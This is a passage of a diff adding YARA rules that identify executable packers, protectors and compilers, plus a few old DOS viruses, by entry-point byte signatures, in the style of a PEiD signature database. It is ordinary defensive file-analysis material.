+		$0 at entrypoint
+}
+rule _bambam_004__bedrock_
+{
+	meta:
+		description = "bambam 0.04 -> bedrock"
+	strings:
+		$0 = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_290_LZMA_Delphi_stub__Markus_Oberhumer_Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX 2.90 [LZMA] (Delphi stub) -> Markus Oberhumer, Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v4000053__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.00.0053 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _EPack_14_lite_final__by_6aHguT_
+{
+	meta:
+		description = "!EPack 1.4 lite (final) - by 6aHguT"
+	strings:
+		$0 = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10E__vcasm_
+{
+	meta:
+		description = "VProtector V1.0E -> vcasm"
+	strings:
+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_22__c199899_Ian_Luck_
+{
+	meta:
+		description = "Petite 2.2 -> (c)1998-99 Ian Luck"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Kuku886_
+{
+	meta:
+		description = "Vx: Kuku.886"
+	strings:
+		$0 = {06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53}
+	condition:
+		$0 at entrypoint
+}
+rule _ROD_High_TECH__Ayman_
+{
+	meta:
+		description = "ROD High TECH -> Ayman"
+	strings:
+		$0 = {60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v155_
+{
+	meta:
+		description = "PECompact v1.55"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v100_
+{
+	meta:
+		description = "PECompact v1.00"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260_
+{
+	meta:
+		description = "Armadillo v2.60"
+	strings:
+		$0 = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_VirusConstructorbased_
+{
+	meta:
+		description = "Vx: VirusConstructor.based"
+	strings:
+		$0 = {BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8}
+		$1 = {E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Splash_Bitmap_v100_With_Unpack_Code__BoB__Bobsoft_
+{
+	meta:
+		description = "Splash Bitmap v1.00 (With Unpack Code) --> BoB / Bobsoft"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 6A 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v420__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.20 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_V21X__softcompletecom_
+{
+	meta:
+		description = "EXECryptor V2.1X -> softcomplete.com"
+	strings:
+		$0 = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+		$1 = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Obsidium_V1258V133X__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.5.8-V1.3.3.X -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00 EB 02 ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_V80_
+{
+	meta:
+		description = "Microsoft Visual C++ V8.0"
+	strings:
+		$0 = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_1X__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+	condition:
+		$0
+}
+rule _WWPack32_v100_v111_v112_v120_
+{
+	meta:
+		description = "WWPack32 v1.00, v1.11, v1.12, v1.20"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32}
+	condition:
+		$0 at entrypoint
+}
+rule _NME_11_Public__by_redlime_
+{
+	meta:
+		description = "NME 1.1 Public - by redlime"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 2C F9 FF FF A3 F8 5A 14 13 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 17 F9 FF FF A3 FC 5A 14 13 B8 04 5C 14 13 E8 20 FB FF FF 8B D8 85 DB 74 48 B8 00 5B 14 13 8B 15 C4 45 14 13 E8 1E E7 FF FF A1 04 5C 14 13 E8 A8 DA FF FF ?? ?? ?? ?? 5C 14 13 50 8B CE 8B D3 B8 00 5B 14 13 ?? ?? ?? ?? FF 8B C6 E8 DF FB FF FF 8B C6 E8 9C DA FF FF B8 00 5B 14 13 E8 72 E7 FF FF 33 C0 5A 59 59 64 89 10 68 73 36 14 13 C3 E9 0F DF FF FF EB F8 5E 5B E8 7E E0 FF FF 00 00 FF FF FF FF 0C 00 00 00 4E 4D 45 20 31 2E 31 20 53 74 75 62}
+	condition:
+		$0
+}
+rule _PureBasic_4x_DLL__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic 4.x DLL -> Neil Hodgson"
+	strings:
+		$0 = {83 7C 24 08 01 75 0E 8B 44 24 04 A3 ?? ?? ?? 10 E8 22 00 00 00 83 7C 24 08 02 75 00 83 7C 24 08 00 75 05 E8 ?? 00 00 00 83 7C 24 08 03 75 00 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? 0F 00 00 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15_FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5-> FEUERRADER"
+	strings:
+		$0 = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+	condition:
+		$0
+}
+rule _ACProtect_V20__risco_
+{
+	meta:
+		description = "ACProtect V2.0 -> risco"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140__v145_
+{
+	meta:
+		description = "PECompact v1.40 - v1.45"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v180_
+{
+	meta:
+		description = "Armadillo v1.80"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v12_RC_
+{
+	meta:
+		description = ".BJFnt v1.2 RC"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V036__Dwing_
+{
+	meta:
+		description = "Upack V0.36 -> Dwing"
+	strings:
+		$0 = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 FF 76 08 FF 76 0C BE 1C 01}
+		$1 = {BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MASM32_
+{
+	meta:
+		description = "MASM32"
+	strings:
+		$0 = {6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V1451__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.4.5.1 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _NET_executable__Microsoft_
+{
+	meta:
+		description = ".NET executable -> Microsoft"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25}
+	condition:
+		$0
+}
+rule _CrypWrap_vxx_
+{
+	meta:
+		description = "CrypWrap vx.x"
+	strings:
+		$0 = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_300_400_450_EXE_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Pasword_Protector_V101_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector V1.01 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PESHiELD_025__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PESHiELD 0.25] --> Anorganix"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+		$1 = {C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MESS_v120_
+{
+	meta:
+		description = "MESS v1.20"
+	strings:
+		$0 = {FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrink_071_beta_
+{
+	meta:
+		description = "PCShrink 0.71 beta"
+	strings:
+		$0 = {01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_5_Fusion_4_
+{
+	meta:
+		description = "Crunch 5 Fusion 4"
+	strings:
+		$0 = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+	condition:
+		$0
+}
+rule _Alex_Protector_v04_beta_1_by_Alex_
+{
+	meta:
+		description = "Alex Protector v0.4 beta 1 by Alex"
+	strings:
+		$0 = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+	condition:
+		$0
+}
+rule _Shrinker_v32_
+{
+	meta:
+		description = "Shrinker v3.2"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v136_
+{
+	meta:
+		description = "EXE32Pack v1.36"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorProtection_150X__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor.Protection 1.5.0.X -> CGSoftLabs"
+	strings:
+		$0 = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+	condition:
+		$0
+}
+rule _DBPE_v233__Ding_Boy_
+{
+	meta:
+		description = "DBPE v2.33 -> Ding Boy"
+	strings:
+		$0 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v19x_
+{
+	meta:
+		description = "Armadillo v1.9x"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_10_beta_2_by_Alex_
+{
+	meta:
+		description = "Alex Protector 1.0 beta 2 by Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+	condition:
+		$0
+}
+rule _PROPACK_v208_emphasis_on_packed_size_locked_
+{
+	meta:
+		description = "PRO-PACK v2.08, emphasis on packed size, locked"
+	strings:
+		$0 = {83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PCPEC_alpha__preview_
+{
+	meta:
+		description = "PCPEC alpha - preview"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid__Arkanoid_
+{
+	meta:
+		description = "Packanoid -> Arkanoid"
+	strings:
+		$0 = {BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6 -> Vaska"
+	strings:
+		$0 = {33 D0 68 ?? ?? ?? ?? FF D2}
+		$1 = {33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DIET_v144_v145f_
+{
+	meta:
+		description = "DIET v1.44, v1.45f"
+	strings:
+		$0 = {F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v210b2_
+{
+	meta:
+		description = "Armadillo v2.10b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v014b_
+{
+	meta:
+		description = "CodeCrypt v0.14b"
+	strings:
+		$0 = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_226_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.2.6 (minimum protection)"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_10_execoder_10___Northfox_HCC_
+{
+	meta:
+		description = "Mew 10 exe-coder 1.0  -> Northfox [HCC]"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PESHiELD_025__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PESHiELD 0.25] --> Anorganix"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _yP_v10b_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yP v1.0b by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+	condition:
+		$0
+}
+rule _RLP_V073beta__ap0x_
+{
+	meta:
+		description = "RLP V0.7.3.beta -> ap0x"
+	strings:
+		$0 = {2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0}
+	condition:
+		$0
+}
+rule _PE_Admin_10_EncryptPE_12003518_Sold__Flying_Cat_
+{
+	meta:
+		description = "PE_Admin 1.0 (EncryptPE 1.2003.5.18 Sold) -> Flying Cat"
+	strings:
